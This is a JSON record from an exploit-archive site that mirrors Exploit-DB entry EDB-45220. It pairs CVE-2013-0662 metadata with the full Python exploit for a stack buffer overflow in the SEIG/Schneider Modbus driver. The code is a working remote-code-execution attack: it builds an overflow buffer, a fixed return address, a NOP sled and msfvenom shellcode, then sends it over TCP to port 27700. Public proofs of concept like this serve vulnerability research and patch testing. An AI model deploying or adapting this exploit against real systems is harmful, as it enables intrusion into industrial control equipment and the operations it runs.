{"exploit":{"id":"EDB-45220","name":"SEIG Modbus 3.4 - Buffer Overflow / Remote Code Execution (RCE)","description":"SEIG Modbus 3.4 - Buffer Overflow / Remote Code Execution (RCE)","cves":["CVE-2013-0662"],"author":"Alejandro Parodi","published":"2018-08-20","platform":"windows_x86","type":"remote","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/45220","path":"exploits/windows_x86/remote/45220.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-45220.py","vulnerabilities":[{"id":"CVE-2013-0662","state":"PUBLISHED","title":null,"titleSource":null,"description":"Multiple stack-based buffer overflows in ModbusDrv.exe in Schneider Electric Modbus Serial Driver 1.10 through 3.2 allow remote attackers to execute arbitrary code via a large buffer-size value in a Modbus Application Header.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2013-0662","cvss":{"version":"2.0","baseScore":9.3,"severity":"high","vectorString":"AV:N/AC:M/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2013-0662"},"updatedAt":"2024-08-06T14:33:05.415Z","retrievedAt":"2026-11-27T07:11:21.465Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-45220.png?v=2","url":"https://exploitbin.com/exploits/EDB-45220","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-45220/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-45220/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# Title: SEIG Modbus 3.4 - Remote Code Execution\n# Author: Alejandro Parodi\n# Date: 2018-08-17\n# Vendor Homepage: https://www.schneider-electric.com\n# Software Link: https://github.com/hdbreaker/Ricnar-Exploit-Solutions/tree/master/Medium/CVE-2013-0662-SEIG-Modbus-Driver-v3.34/VERSION%203.4\n# Version: v3.4\n# Tested on: Windows XP SP3\n# CVE: CVE-2013-0662\n# References:\n# https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-0662\n\nimport socket\nimport struct\n\nip = \"192.168.127.138\"\nport = 27700\ncon = (ip, port)\n\n\n####### MESSAGE ##########\nmessage_header = \"\\x00\\x64\"\nmessage_buffer = \"A\" * 0x5dc\neip = struct.pack(\"<I\", 0x7C9C167D)\n\n# Shellcode generated with:\n# msfvenom -a x86 --platform windows -p windows/exec cmd=calc -e x86/xor_call4 -f python\n# Shellcode Size: 189 bytes\nnopsleed = \"\\x90\" * 100 # \\x90 bad char bypass\nshellcode  = \"\\xfc\\xe8\\x82\\x00\\x00\\x00\\x60\\x89\\xe5\\x31\\xc0\\x64\\x8b\"\nshellcode += \"\\x50\\x30\\x8b\\x52\\x0c\\x8b\\x52\\x14\\x8b\\x72\\x28\\x0f\\xb7\"\nshellcode += \"\\x4a\\x26\\x31\\xff\\xac\\x3c\\x61\\x7c\\x02\\x2c\\x20\\xc1\\xcf\"\nshellcode += \"\\x0d\\x01\\xc7\\xe2\\xf2\\x52\\x57\\x8b\\x52\\x10\\x8b\\x4a\\x3c\"\nshellcode += \"\\x8b\\x4c\\x11\\x78\\xe3\\x48\\x01\\xd1\\x51\\x8b\\x59\\x20\\x01\"\nshellcode += \"\\xd3\\x8b\\x49\\x18\\xe3\\x3a\\x49\\x8b\\x34\\x8b\\x01\\xd6\\x31\"\nshellcode += \"\\xff\\xac\\xc1\\xcf\\x0d\\x01\\xc7\\x38\\xe0\\x75\\xf6\\x03\\x7d\"\nshellcode += \"\\xf8\\x3b\\x7d\\x24\\x75\\xe4\\x58\\x8b\\x58\\x24\\x01\\xd3\\x66\"\nshellcode += \"\\x8b\\x0c\\x4b\\x8b\\x58\\x1c\\x01\\xd3\\x8b\\x04\\x8b\\x01\\xd0\"\nshellcode += \"\\x89\\x44\\x24\\x24\\x5b\\x5b\\x61\\x59\\x5a\\x51\\xff\\xe0\\x5f\"\nshellcode += \"\\x5f\\x5a\\x8b\\x12\\xeb\\x8d\\x5d\\x6a\\x01\\x8d\\x85\\xb2\\x00\"\nshellcode += \"\\x00\\x00\\x50\\x68\\x31\\x8b\\x6f\\x87\\xff\\xd5\\xbb\\xf0\\xb5\"\nshellcode += \"\\xa2\\x56\\x68\\xa6\\x95\\xbd\\x9d\\xff\\xd5\\x3c\\x06\\x7c\\x0a\"\nshellcode += \"\\x80\\xfb\\xe0\\x75\\x05\\xbb\\x47\\x13\\x72\\x6f\\x6a\\x00\\x53\"\nshellcode += \"\\xff\\xd5\\x63\\x61\\x6c\\x63\\x00\"\n\nmessage = message_header + message_buffer + eip + nopsleed + shellcode\nprint \"Message Len: \" + hex(len(message)) + \" bytes\"\n##########################\n\n######## PKG HEADER ######\nheader_padding = \"\\x42\\x42\"\nheader_buf_size = \"\\xFF\\xFF\"\nheader_recv_len = struct.pack(\">H\", len(message))\nheader_end = \"\\x44\"\n\nheader = header_padding + header_buf_size + header_recv_len + header_end\n##########################\n\n######## CRAFTING PAYLOAD ########\npayload = header + message\nprint \"Package Len: \"+hex(len(payload)) + \" bytes\"\n##################################\n\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\ns.connect(con)\ns.send(payload)","sha256":"9f8598bc847263709b42eebb24259f87f8500bc61a97473e781790a25fab41de","bytes":2470,"fetchedAt":"2026-11-27T07:11:16.092Z","encoding":"utf-8 (display only; download retains original bytes)"}